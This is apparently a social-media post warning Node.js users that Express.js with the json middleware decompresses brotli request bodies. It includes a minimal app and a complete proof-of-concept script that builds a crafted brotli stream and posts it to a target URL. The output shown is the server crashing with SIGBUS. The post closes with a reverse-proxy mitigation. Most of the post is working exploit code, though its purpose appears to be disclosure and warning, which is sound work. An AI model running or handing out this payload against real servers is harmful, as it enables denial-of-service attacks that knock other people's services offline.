RE: https://feed.yopp.me/@alex/117479365452098451
Well, bad news everyone. Time to shutdown your #nodejs
At least express.js will happily try to unpack #brotli compressed request body, when .json middleware is enabled:
Minimal app:
const express = require('express');
const app = express();
app.use(express.json());
app.listen(3000, '127.0.0.1');
Very blunt port of gen_stream.py and server.py from https://bugzilla.mozilla.org/show_bug.cgi?id=2029458
const http = require('node:http');
class BitWriter {
constructor(size) {
this.buf = Buffer.alloc(size);
this.pos = 0;
}
write(value, n) {
for (let i = 0; i < n; i++, this.pos++) {
this.buf[this.pos >>> 3] |= ((value >>> i) & 1) << (this.pos & 7);
}
}
write_varlen_uint8(value) {
if (value === 0) return this.write(0, 1);
this.write(1, 1);
if (value === 1) return this.write(0, 3);
const bits = 31 - Math.clz32(value);
this.write(bits, 3);
this.write(value - (1 << bits), bits);
};
write_simple_huffman_1sym(alphabet, value) {
this.write(1, 2);
this.write(0, 2);
this.write(value, 32 - Math.clz32(alphabet - 1));
};
}
function genStream() {
const num_cmds = 1 << 24; // 16,777,216 cmds
const body = new BitWriter(Math.ceil((num_cmds * 11 + 512) / 8) + 3);
// header
body.write(1, 1); body.write(0, 3); body.write(2, 3);
body.write(0, 1); body.write(2, 2); body.write(0xffffff, 24); body.write(0, 1);
body.write_varlen_uint8(0); body.write_varlen_uint8(1);
body.write_simple_huffman_1sym(4, 0); body.write_simple_huffman_1sym(26, 25);
body.write(0xffffff, 24);
body.write_varlen_uint8(0);
body.write(3, 6); body.write(0, 2);
body.write_varlen_uint8(0); body.write_varlen_uint8(0);
body.write_simple_huffman_1sym(256, 0);
body.write_simple_huffman_1sym(704, 130); body.write_simple_huffman_1sym(704, 130);
body.write_simple_huffman_1sym(400, 184);
let count = 0;
while (body.pos % 8) {
body.write(4, 11);
count++;
}
// command chunks
const chunk = new BitWriter(11);
for (let i = 0; i < 8; i++) chunk.write(4, 11);
const repeats = Math.floor((num_cmds - count) / 8);
const start = body.pos / 8;
body.buf.fill(chunk.buf, start, start + repeats * 11);
body.pos += repeats * 88;
count += repeats * 8;
while (count++ < num_cmds) body.write(4, 11);
return body.buf.subarray(0, Math.ceil(body.pos / 8) + 3);
}
function genTail() {
// chunk2
const buf = Buffer.alloc(127);
buf[7] = 8;
buf.writeInt32LE(0x10000000, 15);
buf.writeInt32LE(0x7fffffff, 19);
buf.writeInt32LE(0x7fffffff, 23);
return buf;
}
const arg = process.argv[2];
if (!arg) {
process.exit(2);
}
const url = new URL(arg);
const req = http.request(url, {
method: 'POST',
headers: {
'content-type': 'application/json',
'content-encoding': 'br',
'transfer-encoding': 'chunked',
},
}, res => {
console.error(`probably not worked: got http ${res.statusCode}, not socket hang up`);
res.pipe(process.stdout);
});
req.on('error', error => {
if (error.message === "socket hang up") {
console.log("probably worked: socket hang up.")
} else {
console.error(`err: ${error.message}`);
process.exitCode = 1;
}
});
req.write(genStream())
req.end(genTail())
aaaand result is:
node server.js &`
node poc.js http://127.0.0.1/`
'node server.js' terminated by signal SIGBUS (Misaligned address error)`
Somewhat good news: implementation from bugzilla ticket requires sending 20Mb.
Could it be it smaller? No idea.
Are any other http server packages affected? No idea
Probably, more-or-less universal mitigation is to put reverse proxy in front of your nodejs app and either reject br encoding right away or do decoding in proxy itself.